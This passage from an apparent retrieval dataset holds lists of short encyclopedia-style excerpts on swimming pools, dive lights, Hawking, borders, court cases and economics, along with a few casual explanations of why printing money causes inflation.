submerged, unprotected bulb is that its", "is a high risk of entanglement. Dive lights The basic DIR configuration includes a single primary canister light at the diver's right hip and two reserve lights clipped to the chest D-rings and secured against the harness straps by rubber bands. Lights are optional for shallow open water diving. Primary light The recommended primary light is a canister light with a Goodman handle light head. The Goodman handle allows the diver to direct the beam of the light while leaving the hand free to perform other functions. The principle of only carrying equipment that is necessary would make the primary", "commonly used to kill pathogens. If not properly maintained, chemical sanitation can produce high levels of disinfection byproducts. Sanitized swimming pool water can theoretically appear green if a certain amount of iron salts or copper chloride are present in the water.\nAcesulfame potassium has been used to estimate how much urine is discharged by swimmers into a pool. In a Canadian study it was estimated that swimmers had released 75 litres of urine into a large pool that had about 830,000 litres of water and was a third of the size of an olympic pool. Hot tubs were found to", "their skin.\nHowever, there are several balls that address these issues by using softer and lighter material.\nThey have a low skip pattern and they are easy to catch and stay in the pool. Water absorbing waterbag designs are also designed in a way that makes them suitable for play in pools.", "the water.\nMany public swimming pools are rectangles 25 m or 50 m long, but they can be any size and shape. There are also elaborate pools with artificial waterfalls, fountains, splash pads, wave machines, varying depths of water, bridges, and island bars.\nSome swimming facilities have lockers for clothing and other belongings. The lockers can require a coin to be inserted in a slot, either as deposit or payment. There are usually showers - sometimes mandatory - before and/or after swimming. There are often also lifeguards to ensure the safety of users.\nWading or paddling pools are shallow bodies of water intended for use", "diving, light levels are often very low and the water is usually very turbid, so divers may rely on touch to guide them, and they are connected via the umbilical to the surface. The umbilical serves as a supply of breathing gas, for communications, and as a lifeline to find and retrieve the diver in an emergency. It is also used as a guide to find the way back to the surface.", "while holding the weapon.\nAlthough most flashlights are designed for user replacement of the batteries and the bulb as needed, fully sealed disposable flashlights, such as inexpensive keyring lights, are made. When the batteries are depleted or the bulb fails, the entire product is discarded.\nDiving lamps must be watertight under pressure and are used for night diving and supplemental illumination where surface light cannot reach. The battery compartment of a dive lamp may have a catalyst to recombine any hydrogen gas emitted from the battery, since gas cannot be vented in use.\nPeople working in hazardous areas with significant concentrations of flammable", "specialist tasks such as teaching water-ditching survival techniques for aircraft and submarine crews and astronaut training. Round-cornered, irregular swimming pools, such as the Nude Bowl, were drained of water and used for vertical skateboarding. Sanitation Levels of bacteria and viruses in swimming pool water must be kept low to prevent the spread of diseases and pathogens. Bacteria, algae and insect larvae can enter the pool if water is not properly sanitized. Pumps, mechanical sand filters, and disinfectants are often used to sanitise the water.\nChemical disinfectants, such as chlorine (usually as a hypochlorite salt, such as calcium hypochlorite) and bromine, are", "number of \"still-water\" mini-pools have been built over the years, designed to be used in conjunction with various resistance-swimming tether systems. These human-powered devices combine the self-contained aspect of counter-current swimming machines with the low cost and simplicity and freedom of movement of tether systems used in athletic training. They have major cost and energy-use advantages over mechanical swimming machines. They are valuable for aerobic exercise, endurance and strength training, and for stroke practice. However, they cannot replicate open water conditions, in which the water courses at speed past the swimmer, so that for competition training their use has to", "light a requirement on dives where a light is needed, but not otherwise. However even in good visibility a powerful light can enhance the dive by restoring full colour at depth. The canister is carried on the waist belt to the right side, secured by a belt buckle, and the light head is carried on the left hand when in use, and clipped to the right shoulder D-ring when not in use or when the hands are needed to perform an operation where the light would be in the way. \nThe primary light would be optional on well illuminated recreational", "which no chemicals or devices that disinfect or sterilize water are used, and all the cleaning of the pool is achieved purely with the motion of the water through biological filters and plants rooted hydroponically in the system. In essence, natural pools seek to recreate swimming holes and swimmable lakes, the environment where people feel safe swimming in a non-polluted, healthy, and ecologically balanced body of water.\nWater in natural pools has many desirable characteristics. For example, red eyes, dried-out skin and hair, and bleached bathing suits associated with overly chlorinated water are naturally absent in natural pools. Natural pools, by", "(i.e. wetsuit with hood) is required where the water temperature is less than 14 degrees Celsius.\nCompetitors are not permitted to use underwater search techniques and aids such as rope assisted searches or sonar, or use underwater communication devices.\nThe equipment used in this sport has evolved since the sport’s creation in order to improve competitor performance. Firstly, all of the scuba equipment and instruments are now usually mounted together in a housing to create a streamlined form that can be held in front of the competitor to reduce resistance whilst swimming underwater and with a bracket to locate the instruments", "common for faults to be tied to appliances or circuits that come on intermittently, meaning that the condition of the water can change instantly and unpredictably. \nThe best strategy for avoiding electrical hazards is to swim in designated areas well away from any devices that present a risk. Signs There is no visible warning to electrified water. Swimmers will be able to feel the electricity if the current is substantial. If the swimmers notice any unusual tingling feeling or symptoms of electrical shock, it is highly likely that stray currents exist and everyone needs to get out.", "reduces entry of any water that splashes over the top end of the tube, thereby keeping it relatively free from water.\nFinswimmers do not normally use snorkels with a sump valve, as they learn to blast clear the tube on most if not all exhalations, which keeps the water content in the tube to a minimum as the tube can be shaped for lower work of breathing, and elimination of water traps, allowing greater speed and lowering the stress of eventual swallowing of small quantities of water, which would impede their competition performance.\nA common problem with all mechanical clearing mechanisms is", "been working with both hands, and so had been resting his can light on the cave floor. The powerful underwater lights that cave divers use are connected by wires to heavy battery canisters, normally worn on the cave diver's waist, or sometimes attached to their tanks. Normally he would have wrapped the wire behind his neck, but he was unable to do so; the lines from the body bag appear to have become entangled with the light head, and the physical effort of trying to free himself led to his death. Three days later, both of the bodies floated up", "compliant and safe, various precautions can be taken by the swimmer. The primary method is to swim at a safe distance from all electrically active devices. One source recommends keeping a distance of at least 100 yards from freshwater marinas while swimming. \nAlthough sensors exist that can detect leakage current in the water, these are unsuitable to use as an alarm device. These instruments provide no advanced warning before a problem starts. If a hazard condition is created, swimmers will be affected at the same time the instrument detects the current. It is", "vinyl and nylon, and are inflated using an electric or gasoline powered blower. The water slide is attached to a water hose in order to generate the supply of water. There are small-sized inflatable water slides for private house uses or larger inflatable water slides for school, picnic, corporate, or carnival style use. \nThere are also swimming pool water slides which users can set up to slide straight into a pool. Most parks avoid this due to safety concerns, and will have swimming sections in a separate pool.", "by small children, usually in parks. Concrete wading pools come in many shapes, traditionally rectangle, square or circle. Some are filled and drained daily due to lack of a filter system. Staff chlorinate the water to ensure health and safety standards. Exercise pools In the last two decades, a new style of pool has gained popularity. These consist of a small vessel (usually about 2.5 × 5 m) in which the swimmer swims in place, either against the push of an artificially generated water current or against the pull of restraining devices. These pools have several names, such as swim", "measure of filtration, and in fact like the handheld vacuums can microfilter a pool, which a sand filter without flocculation or coagulalents is unable to accomplish \nThese cleaners are independent from the pool's main filter and pump system and are powered by a separate electricity source, usually in the form of a set-down transformer that is kept at least 10 feet (3.0 m) from the water in the pool, often on the pool deck. They have two internal motors: one to suck in water through a self-contained filter bag and then return the filtered water at a high rate of speed", "also vary. Some devices restrain the swimmer by means of a belt, others wrap around the ankles, and still others connect to specially modified water shoes. Hybrid systems These swimming machines straddle the difference between traditional tethers and mechanical swimming machines. As a result, they combine the advantages of both, with a couple of drawbacks. They share the self-contained aspect of counter-current swimming machines with the low cost, simplicity and freedom of movement of tether systems. They are not strictly speaking \"still-water pools\" since the movements of the swimmer actually induce a gentle current of water which permits a more", "Swimming pool A swimming pool, swimming bath, wading pool, or paddling pool is a structure designed to hold water to enable swimming or other leisure activities. Pools can be built into the ground (in-ground pools) or built above ground (as a freestanding construction or as part of a building or other larger structure), and are also a common feature aboard ocean-liners and cruise ships. In-ground pools are most commonly constructed from materials such as concrete, natural stone, metal, plastic, or fiberglass, and can be of a custom size and shape or built to a standardized size, the largest of which", "dives. Backup lights Backup (reserve) lights are carried where they are unlikely to snag, and cause minimal drag, but can be reached and operated by one hand. Two are required for overhead diving. The storage position for backup lights is clipped to the chest D-rings and held against the harness by rubber bands, where they are tucked away and unlikely to snag, but remain easily accessible to both hands, and can be turned on before unclipping, so they can be easily found if dropped. Fresh non-rechargeable batteries should be installed before any dive where burn time of the backup light", "pools can be at different temperatures using different chemicals - the Hot Tub (using bromine), is hot enough for relaxation and massage, while the swim zone is cool enough for strenuous exercise (using chlorine). Volume-driven machines In the 1980s a new type of machine made its appearance. In an attempt to correct problems of turbulence and resulting discomfort from swimming against a jet of water, systems were devised to set the water in motion in a smoother fashion. The first, in 1984, was the SwimEx, developed by Stan Charren together with two MIT-trained engineers. This machine, consisting of a fiberglass", "the bulb is broken, to prevent ignition of flammable gas.\nRegulations for ships and aircraft will specify the number and general properties of flashlights included as part of the standard safety equipment of the vessel. Flashlights for small boats may be required to be waterproof and to float. Uniformed services may issue particular models of flashlight, or may only provide minimum performance standards for the member to purchase his or her own flashlights. Performance standards The United States Army former standard MIL-F-3747E described the performance standard for plastic flashlights using two or three D cell dry batteries, in either straight", "compromise the ability of the diver to exit the cave before running out of gas. Where this is a significant risk, divers may tow a spare scooter.\nDive lights are critical safety equipment, as it is dark inside caves. Each diver generally carries a primary light, and at least one backup light. A minimum of three lights is recommended. The primary light should last the planned duration of the dive, as should the backup lights. History Jacques-Yves Cousteau, co-inventor of the first commercially successful open circuit scuba equipment, was the world's first open circuit scuba cave diver. However, many cave divers" ]

[ "Think of a string on a guitar. It is attached to the guitar on both ends, and this attachment constrains the ways in which the string can vibrate and produce sound. (Only certain pitches can be produced for a given length and tension, for instance.) If you detach one end, even if somehow you could maintain the same tension on the string, its behavior would change and many other pitches become possible.\n\nIf the string represents our physical universe, having \"attachments\" at its physical endpoints (called boundary conditions), or a specific configuration at an initial zero point in time (e.g. a birth of the universe) would constrain the laws of physics within the universe in a way that would differ from the laws of physics \"outside\" the universe. \n\nHaving no boundary conditions, as Hawking asserts, would imply that either the universe is an open system with no boundary in either space or time (no beginning, end, or borders), or that if those boundaries did exist, there would be no information about the state of the universe at those boundaries to constrain the physical laws within it, like a string which is unattached to its guitar.\n\nEither way, that implies that the laws of physics apply equally within the universe as they do outside of it." ]

[ "cited as one of the leading proponents of the open borders position in articles in The Atlantic and Vox. He has also been quoted in other mainstream press pieces on immigration in outlets such as the Huffington Post and Time magazine. In the Winter 2012 issue of the peer-reviewed Cato Journal, Caplan published a paper titled Why Should We Restrict Immigration?, where he makes the moral and economic case for open borders while addressing various objections to his stance with practical solutions.\nCaplan and cartoonist Zach Weinersmith are working on the graphic novel Open Borders: The Science and Ethics of Immigration,", "is Hawking's deep faith in science's ability to solve humanity's biggest problems ... His answers to the big questions illustrate his belief in the rationality of nature and on our ability to uncover all its secrets. His optimism permeates every page ... Although Hawking touches on the origin of the universe, the physics of black holes and some of his other favorite topics, his main concern in this book is not physics. It's humanity and its collective future ... Focusing his attention in the book on three related questions — the future of our planet, colonization of other planets, and", "published new consultation documents. These included an option of a possible second runway at Gatwick to the south of the existing airport boundary, leaving the villages Charlwood and Hookwood to the north of the airport intact. This led to protests about increased noise and pollution, demolition of houses and destruction of villages.\nOn 2 December 2009, the House of Commons Transport Select Committee published a report entitled The future of aviation. With regard to Gatwick, it calls on the Government to reconsider its decision to build a second runway at Stansted, in the light of growing evidence that the business case", "Hawking applied the same thinking to the entire universe; and, during 1965, he wrote his thesis on this topic. Hawking's thesis was approved in 1966. There were other positive developments: Hawking received a research fellowship at Gonville and Caius College at Cambridge; he obtained his PhD degree in applied mathematics and theoretical physics, specialising in general relativity and cosmology, in March 1966; and his essay \"Singularities and the Geometry of Space-Time\" shared top honours with one by Penrose to win that year's prestigious Adams Prize. 1966–1975 In his work, and in collaboration with Penrose, Hawking extended the singularity theorem concepts", "separation. Gillibrand also supports abolishing the U.S. Immigration and Customs Enforcement. Foreign policy Although Gillibrand is a political opponent of President Donald Trump, she said the following regarding the Singapore Summit: \nI’m very grateful that ... Trump is trying diplomacy as oppose[d] to military action because that's was what his first take was. So, I am grateful that he is making the effort to try diplomacy and to try to bring people together towards a peaceful resolution. Climate change In a TV interview, Gillibrand backed the Green New Deal, stating the following:\n…Severe weather is the greatest threat to humanity we", "scholars investigate how non-migrant publics consider migrants, this has resulted in a lack of scholarship which considers the opposite dynamic. Critical Border Studies Critical Border Studies (CBS) explores alternatives to how territorial borders are currently imagined and operated. Part of this approach means identifying and investigating how borders function, to whose benefit these borders function, and whom is negatively affected by these borders. Scholars associated with Critical Border Studies regard borders as part of a system of performances by which states maintain and exert power over territory, this intersects with understandings of sovereignty and securitization. Scholars associated with this branch", "borders.\nHayter is at the helm of a campaign to close down Campsfield House, a detention centre in the United Kingdom.\nIn March 2007, Hayter refused to share a podium with David Coleman of Migration Watch UK, and supported a petition by local free newspaper, the Oxford Star, calling on the Vice Chancellor of the University, John Hood, to \"consider the suitability of Coleman's continued tenure as a Professor of the University, in light of his opinions and affiliations relating to immigration and eugenics.\" Aid and poverty Hayter wrote two books on the subject of the world order and its connection to", "from the unilateral implementation of measures aimed at attempting to change the situation in the field\" and on \"a constructive dialogue on resolutions of border disputes\".", "nor is unreasonableness established if the court is of the view that the policy or guideline may not work as effectively as another. This principle has been adopted and emphasized in subsequent cases. In City Developments the court declined to interfere with the Chief Assessor's assessment of the annual value of the applicant's real property for property tax purposes, finding his explanations logical and commonsensical. The courts came to similar conclusions in Chee Siok Chin and Kang Ngah Wei. Levels of scrutiny English cases dealing with Wednesbury unreasonableness demonstrate varying levels of scrutiny. The intensity of judicial review varies with", "of Arbitration, CMATS was succeeded in 2018 by the Treaty Between Australia and the Democratic Republic of Timor-Leste Establishing Their Maritime Boundaries in the Timor Sea. Without prejudice to the final settlement of borders CMATS will not prejudice or affect Timor-Leste’s or Australia’s legal position or legal rights to the delimitation of their respective maritime boundaries. It will also not amount to a renunciation of any right or claims. Treaty duration The treaty replaces Article 22 of the Timor Sea Treaty, making its validity period the same as CMATS's, which is until 2057. The Timor Sea Treaty can however be", "York Times Co. v. Tasini).\nOn March 4, 2005, the United States Court of Appeals for the Second Circuit said that Greenberg was inconsistent with the Supreme Court ruling in Tasini, and ruled in favor of National Geographic in a case involving the same Complete National Geographic product (Faulkner v. National Geographic Enterprises).\nOn June 13, 2007, the Eleventh Circuit reversed its prior decision in Greenberg I and remanded the case back to the U.S. district court, agreeing with the Second Circuit ruling in Faulkner that Greenberg I was inconsistent with the later Tasini decision (Greenberg II).\nOn August 30, 2007, the Eleventh", "E-Borders e-Borders was an advanced passenger information programme which aimed to collect and store information on passengers and crew entering and leaving the United Kingdom. Passengers details were to be checked against terror and criminal watch lists before being stored on the e-borders database. Due to European law on free movement EU carriers and ports supply information to the UK Border Agency on a voluntary basis, however in March 2012 Damian Green said that by April e-Borders would be collecting information an all passengers on 100% of non-EEA flights to the UK. The information of the passengers and crew", "public policy reason why Verwayen should be prevented from claiming in negligence, that the Limitation of Actions Act 1958 (Vic) applied, that the waiver of the limitation defence was unilateral and voluntary such that the government could withdraw the waiver. In relation to the doctrine of estoppel O'Bryan J held that promissory estoppel, did not arise because there was no legal relationship and no consideration and that the only way Verwayen altered his position in reliance on the promise was by incurring legal costs. Despite giving judgement for the government and dismissing Verwayen's claim, O'Bryan J was critical of the", "Nulyarimma v Thompson Nulyarimma v Thompson In 1997, the Coalition party proposed a “ten point plan” to reform the operation of native title in Australia. The plan eventually became the Native Title Amendment 1998. The appellants claimed that the consequences of the “ten point plan” amounted to genocide as it severely restricted and disadvantaged Indigenous Australians' land ownership, livelihood and mental health. Buzzacott v Minister for the Environment In April 1999, the Minister for Foreign Affairs, Alexander Downer, and the Minister for the Environment, Robert Hill, formally refused to pursue the World Heritage listing of Lake Eyre, instead allowing a", "clause was meant to support the growth of BCal's scheduled operation at Gatwick as well as to redress the competitive imbalance between it and its much bigger, more powerful rivals.\nThe UK side furthermore succeeded in negotiating a three-year \"exclusivity\" period for the incumbent operator on any new route with their US counterparts.\nFor Gatwick-based BCal this meant that it did not have to face any competitor that was using Heathrow, a more accessible airport with a bigger catchment area and a far greater number of passengers connecting between flights, on any of the new routes it was planning to launch to", "by the treaty. Indonesia had also informed Australia later that year that it was no longer bound by the Timor Gap Treaty.\nThe dispute over the Timor Gap now is between Australia and East Timor and does not involve Indonesia. However, Indonesia may have to become a party in negotiations to establish the Australia-East Timor-Indonesia border tripoints if East Timor chooses not to be bound by the current \"width\" of the Timor Gap decided by Australia and Indonesia (through the 1972 treaty) without consultation with the East Timorese, or with Portugal, the colonial administrator of East Timor at the time.", "as the Sherman Act.\n\"The Court's repeated incantation of the high ideals of 'international arbitration' creates the impression that this case involves the fate of an institution designed to implement a formula for world peace,\" Stevens concluded.\nBut just as it is improper to subordinate the public interest in enforcement of antitrust policy to the private interest in resolving commercial disputes, so is it equally unwise to allow a vision of world unity to distort the importance of the selection of the proper forum for resolving this dispute. Like any other mechanism for resolving controversies, international arbitration will only succeed if it", "Cranford Agreement The Cranford Protocol or Cranford Agreement was an oral undertaking given in 1952 by the British Government to the residents of Cranford in London regarding the usage of the runways at London Heathrow Airport to reduce the impact of aircraft noise on local residents.\nUnder normal operations the agreement prohibited take-off on the northern runway towards the east (over London) because of the proximity of Cranford to the east end of this runway; however this runway could be used in exceptional cases, for example when the southern runway was not available for departures or when departure delays are excessive.\nAlthough", "Select Committee.\nIn September 2015, Rosindell presented a Ten Minute Rule Bill to Parliament entitled the United Kingdom Borders (Control and Sovereignty) Bill. In his speech presenting the Bill, he argued that Britain must take back control of its borders from the European Union, asserting that \"A nation that does not retain sovereignty over its national borders will ultimately be powerless to determine its own destiny\". The speech also advocated a policy of controlled immigration, arguing that public services were unable to keep up with the number of people entering the country every year. Since the start of 2016, Rosindell has", "said that taking extraneous factors into account could be seen an aspect of such unreasonableness.\nIt has been said that the nuances of the term reasonable may have allowed the UK courts to deal with the merits of grievances rather than questions of legality, and hence to engage in judicial policy-making. However, it seems that Singapore courts have so far avoided substituting their opinion for that of decision-makers in applying the Wednesbury test. In Lines International, the High Court clearly noted that in considering Wednesbury unreasonableness courts are not entitled to substitute their views of how the discretion should be exercised,", "the appellate court's opinions, Gillette considered all the arguments. The two cases Van Hoommissen had pointed to as precedent adopting the open-fields doctrine were actually not dispositive of the issue, since one had involved a search on public land and the other appeared to rely on circumstances unique to that case. In another of its own recent holdings, he noted, the state Supreme Court had also rejected Katz''s reasonable expectation test, so in the instant case the court could consider the issue without relying on it.\nGillette rejected the textualist interpretation of the constitutional language that had been held by the", "permanent. Nevertheless it is necessary to say again that the overriding principle was the \"inadmissibility of the acquisition of territory by war\" and that meant that there could be no justification for annexation of territory on the Arab side of the 1967 line merely because it had been conquered in the 1967 war. The sensible way to decide permanent \"secure and recognized\" boundaries would be to set up a Boundary Commission and hear both sides and then to make impartial recommendations for a new frontier line, bearing in mind, of course, the \"inadmissibility\" principle. The purposes are perfectly clear, the", "a re-examination of the question as the majority had suggested, since the case was distinguished from Wilko by its international nature, a special circumstance.\n\"In light of a proper reading of Wilko,\" Blackmun wrote, \"the pertinent question then becomes whether the language, legislative history, and purposes of the Exchange Act call for an exception to the Arbitration Act for ... claims [under the former].\" While the 1933 and 1934 Acts governed different markets, they shared investor protection as a common goal, as the Court itself had recognized in Ernst & Ernst v. Hochfelder and held even more recently was to be", "of the Wilko Court's doubts as to arbitration's adequacy are outdated; (3) thus Wilko is no longer good law ... Second, the Court accepts uncritically petitioners' and the [SEC]'s argument that the problems with arbitration, highlighted by the Wilko Court, either no longer exist or are not now viewed as problems by the Court.\nBlackmun agreed with the majority that a possible exemption to the FAA must be supported by a finding of Congressional intent. \"Where the Court first goes wrong, however, is in its failure to acknowledge that the Exchange Act, like the Securities Act, constitutes such an exception,\" he", "Timor Gap Treaty Officially known as the Treaty between Australia and the Republic of Indonesia on the zone of cooperation in an area between the Indonesian province of East Timor and Northern Australia, the Timor Gap Treaty is a treaty between the governments of Australia and Indonesia which provided for the joint exploitation of petroleum resources in a part of the Timor Sea seabed. The signatories to the treaty were then Australian Foreign Affairs Minister Gareth Evans and then Indonesian Foreign Minister Ali Alatas. The treaty was signed on December 11, 1989 and came into force on February 9, 1991.\nThe", "to the court). Estoppel by convention The House of Lords felt that the point relating to estoppel by convention (i.e. that the parties had contemplated such further action might be brought in the earlier settlement agreement) was tied up in the issue of abuse of process. They noted that the litigation between Mr Johnson and Gore Wood had been ongoing for nearly four and half years before the defendant firm of solicitors sought to strike out the claims on this basis, which was reflective of the parties common understanding that those claims might be pursued, and during that time pleadings", "four crossings would have been \"severely\" affected, with barrier downtime increasing by between 25% and 36%. Wokingham Borough Council objected to BAA's plans on the grounds that no proper impact assessment had been carried out on level crossing dwell times. BAA investigated the possibility of constructing new road bridges or tunnels to mitigate problems with level crossings. Future plans A number of new proposals for expanding transport at Heathrow Airport have been put forward, among which are schemes closely related to Airtrack. Airtrack-Lite In October 2011, Wandsworth London Borough Council announced a revised plan called Airtrack-Lite. To address some of", "in Australia published an editorial claiming East Timor's attempts to resolve this matter in international courts \"is an appeal to Australians' sense of fairness.\" An article in the Global Times in China on 6 September 2016 said:\n[Australia] should not involve itself in the South China Sea arbitration while challenged by the maritime boundary disputes itself...The Australian government should not do what it would not like the international community to do to itself.\nOn 26 September 2016, Labor Foreign Affairs spokesperson Senator Penny Wong said, \"In light of this ruling [that the court can hear East Timor's claims], we call on the", "housed at the Thomas J. Dodd Research Center at the University of Connecticut. In 2013, Farrow criticized President Barack Obama for his lack of address regarding Sudanese genocide during a United Nations General Assembly. In February 2015, Farrow appeared in an episode of A Path Appears, a PBS documentary series from the creators of the Half the Sky movement. In the episode Farrow travels to Kibera, Kenya's largest slum, to share stories from organizations providing education to at-risk girls.\nFarrow has also participated in environmental activism, in 2014 protesting against Chevron, accusing the oil company of environmental damage in the South", "we ended up with the current backstop. There is currently no border in the world, outside a customs union, that has eliminated border infrastructure.\"\nOn 8 May 2019, the UK Conservative Party established a panel of experts to advise its Alternative Arrangement Commission on possible technical solutions to the dilemma. The panel includes proponents of the two ideas below. The only participant with an Irish connection is Graham Gudgin, a former adviser to Brexit supporter Lord Trimble.\nIn late September 2019, during the battle in the courts over prorogation of Parliament, Jean-Claude Juncker remarked that in a no-deal Brexit, a British animal" ]

[ "That's creating money, not wealth. Without wealth to back it up (goods, people, services, investors, etc.) creating money just leads to inflation (i.e. each dollar becomes worth less because there's no wealth to back it up.)", "Poor countries aren't poor because they don't have enough money. They're poor because they don't have enough *stuff*. Arbitrarily assigning large amounts of currency to themselves doesn't solve this problem.", "Inflation! \n\nImagine a country with only 2 people in it.\n\nPerson A has 10$ in his wallet.\nPerson B has one apple.\n\nImagine these are all the goods and money there are in this country (and they cant trade with other countries).\n\nNaturally, the apple would sell for 10$. Because the apple represents 100% of the goods available, it sells for 100% of the money.\n\nNow say that this country starts printing money. The new situation is:\n\nPerson A has 50$ in his wallet.\nPerson B has one apple.\n\nSuddenly, person A has 500% more money. But since there is still only one apple (you can't print this), the apple would now cost 50$!\n\nNow apply this to a modern country, that has a limited amout of resources but can also print money if it wants.", "A country is only as rich or poor as their ability to produce.\n\n\"Money\" is a representation of the countries total production capability. The total money in circulation is dived into that total production capability. Adding more money, devalues each addition.\n\nLet's say a country has $1M (US) production capability. They have 100,000 \"Sheckles\" in circulation. Each \"sheckle\" is worth about $10 (US). If you added an additional 100,000 sheckles, without increasing the production capability, the value of each sheckle would be haved ($5).\n\nMore money in the system doesn't equate to more value.", "Germany tried that... in the end it was cheaper to burn the paper money by the thousands instead of going out and buy coal or wood.\n\nIt was do bad children played and build stuff with stacks of worthless money. \n\nA loaf of bread could cost thousands or millions of Reichsmark." ]

[ "wealth and spending ability of the rich, many of whom will spend or invest this money in the rich countries, thus not even creating a trickle-down effect. They argue that the money would be far better spent in specific aid projects that actually help the poor. They further argue that it would be unfair to third-world countries that managed their credit successfully, or do not go into debt in the first place. That is, it actively encourages third-world governments to overspend in order to receive debt relief in the future.\nOthers argue against the conditionalities attached to debt relief. These conditions", "aid. Governments that can raise a significant amount of revenue from this source are less accountable to their citizens (they are more autonomous) as they have less pressure to legitimately use those resources. Just as it has been documented for countries with an abundant supply of natural resources such as oil, countries whose government budget consists largely of foreign aid donations and not regular taxes are less likely to have incentives to develop effective public institutions. This in turn can undermine the country's efforts to develop. Organization Economic development has evolved into a professional industry of highly specialized practitioners. The", "the financial institutions of wealthy states to issue lucrative loans. It may seem that such loans are good for developing states too, but Pogge argues that, in practice, they typically work quite to the contrary:\nLocal elites can afford to be oppressive and corrupt, because, with foreign loans and military aid, they can stay in power even without popular support. And they are often so oppressive and corrupt, because it is, in light of the prevailing extreme international inequalities, far more lucrative for them to cater to the interests of foreign governments and firms than to those of their", "financial affairs of the country in order to have an economically more powerful country and make sure that public wealth is improved.", "bribe government officials even for routine activities, which was in effect a tax on business.\nHowever, ending government sponsorship of social programs is sometimes advocated as a free market principle with tragic consequences. For example, the World Bank presses poor nations to eliminate subsidies for fertilizer that many farmers cannot afford at market prices. The reconfiguration of public financing in former Soviet states during their transition to a market economy called for reduced spending on health and education, sharply increasing poverty.\nTrade liberalization increases total surplus of trading nations. Remittances sent to poor countries, such as India, are sometimes larger than foreign", "repeated loans to dictators who never do any reforms. Some, like Hernando De Soto, argue that much of the poverty in the Third World countries is caused by the lack of Western systems of laws and well-defined and universally recognized property rights. De Soto argues that because of the legal barriers poor people in those countries can not utilize their assets to produce more wealth. Lack of widespread support in developing countries Critics have asserted that people from poor and developing countries have been relatively accepting and supportive of globalization while the strongest opposition to globalization has come from activists,", "A country can encourage individuals and firms to save more by reducing income and profit taxes. By increasing saving, a country can reduce the need for loans to finance government deficits and foreign direct investment.\nInvestments in education and infrastructure can increase the competitiveness of the lagging manufacturing or agriculture sector. Another approach is government protectionism of the lagging sector, that is, increase in subsidies or tariffs. However, this could worsen the effects of Dutch disease, as large inflows of foreign capital are usually provided by the export sector and bought up by the import sector. Imposing tariffs on imported goods", "the poor and better controlled at the grassroots level. As a point of comparison, the annual world military spending is over $1 trillion. Debt relief One of the proposed ways to help poor countries that emerged during the 1980s has been debt relief. Given that many less developed nations have gotten themselves into extensive debt to banks and governments from the rich nations, and given that the interest payments on these debts are often more than a country can generate per year in profits from exports, cancelling part or all of these debts may allow poor nations \"to get out", "century, and features interviews with a number of economists, sociologists, and historians who explain how poverty is the clear consequence of free-market economic policies that allow powerful nations to exploit poorer countries for their assets and keep money in the hands of the wealthy rather than distributing it more equitably to the people who have helped them gain their fortunes. Diaz also explores how wealthy nations (especially the United States) seize a disproportionate share of the world's natural resources, and how this imbalance is having a dire impact on the environment as well as the economy.\n— Mark Deming", "competently provide it. An effect is that distribution of funds in multiple instances discourages embezzlement because even small sums missing will be noticed. In contrast, in a centralized authority, even minute proportions of public funds can be large sums of money. Governmental corruption If the highest echelons of the governments also take advantage of corruption or embezzlement from the state's treasury, it is sometimes referred to the neologism kleptocracy. Members of the government can take advantage of the natural resources (e.g., diamonds and oil in a few prominent cases) or state-owned productive industries. A number of corrupt governments have enriched", "the middle-class. This is done by the government enforcing strict tax laws within the state which effects low incomes very minorly however, large incomers significantly. The logic or reasoning behind the act is the belief that the money will have a better use if it's being used on the country's needs rather than materialistic needs. This relates to Collectivism as the money is being used for the public or the whole rather than individual unnecessary materialistic needs.\nThis is viewed as a major factor within the ideology because of some country's One percent progressively owning very large sums of money whilst", "moneys received in taxation from the citizens of this country will be spent otherwise than upon a vote of this House and without the opportunity... to debate grievance and to call for an account of the way in which those moneys are to be spent. For the first time for centuries it will be true to say that the people of this country are not taxed only upon the authority of the House of Commons. The third consequence... is that the judicial independence of this country has to be given up. In future, if we join the Community, the citizens", "increase economic stability and opportunity for the less wealthy members of society and thus usually include the funding of public services.\nOne basis for redistribution is the concept of distributive justice, whose premise is that money and resources ought to be distributed in such a way as to lead to a socially just, and possibly more financially egalitarian, society. Another argument is that a larger middle class benefits an economy by enabling more people to be consumers, while providing equal opportunities for individuals to reach a better standard of living. Seen for example in the work of John Rawls, another argument", "it is desired to reduce community consumption, the purchasing power must be taken away from the poorer classes by taxing consumption. The marginal propensity to consume is higher in a poor country and lower in the case of rich country. The reason is same as stated above. In the case of rich country, most common of the basic needs of the people have already been satisfied, and all the additional increments of income are saved, resulting in a higher marginal propensity to save but in a lower marginal propensity to consume. In a poor country, on the other hand, most", "with the indebted countries and convert the debts into assistance for social development projects so that the poor masses could reap the fruits of development. This would help in reducing the gap between the rich and the poor, create more job opportunities, alleviate poverty and contribute to creating an atmosphere of goodwill, fraternity and understanding among the peoples leading to the cherished objective of prosperity, peace and stability around the globe.", "of hard money, especially the gold standard. Post-Keynesian economics Some Post-Keynesian economists argue that deficit spending is necessary, either to create the money supply (Chartalism) or to satisfy demand for savings in excess of what can be satisfied by private investment.\nChartalists argue that deficit spending is logically necessary because, in their view, fiat money is created by deficit spending: fiat money cannot be collected in taxes before it is issued and spent; the amount of fiat money in circulation is exactly the government debt—money spent but not collected in taxes. In a quip, \"fiat money governments are 'spend and tax',", "if the income does not meet the contribution of a person to the common good, to withdraw some of this income through taxes and redistribute it for social needs. Improving the living conditions of the poorest strata of society will contribute to the growth of the internal market and economic growth. European Youth Movement The Ukrainian Youth NGO «European Youth Movement» as a youth wing of the European Party of Ukraine was created in 2009. The European Youth Movement has offices in 19 regions of the country and has a purpose to develop young force of Ukraine for which", "government making a payment, without goods or services being received in return. These payments are considered to be non-exhaustive because they do not directly absorb resources or create output. Examples of transfer payments include welfare, financial aid, social security, and government making subsidies for certain businesses. \nFor the purpose of calculating gross domestic product (GDP), government spending does not include transfer payments, which are the reallocation of money from one party to another rather than expenditure on newly produced goods and services. Cash More than 100 million poor people worldwide receive a government transfer payment. It is estimated that 90%", "loans, depriving many poor countries one of their most important potential sources of capital. Unregistered businesses and lack of accepted accounting methods are other factors that limit potential capital.\nBusinesses and individuals participating in unreported business activity and owners of unregistered property face costs such as bribes and pay-offs that offset much of any taxes avoided.\n\"Democracy Does Cause Growth\", according to Acemoglu et al. Specifically, \"democracy increases future GDP by encouraging investment, increasing schooling, inducing economic reforms, improving public goods provision, and reducing social unrest.\"\nAccording to Daron Acemoglu, Simon Johnson and James Robinson, the positive correlation between high income", "when a country is collapsing due to resource depletion as the elites attempt to hoard the diminishing wealth or expand debts to maintain stability, which will tend to enrich creditors and financiers.\nOther nations may become plutocratic through kleptocracy or rent-seeking.", "system.\nInstead, since the problem of money influencing politics stems from the cost of information, Ferguson argues the solution might come from finding 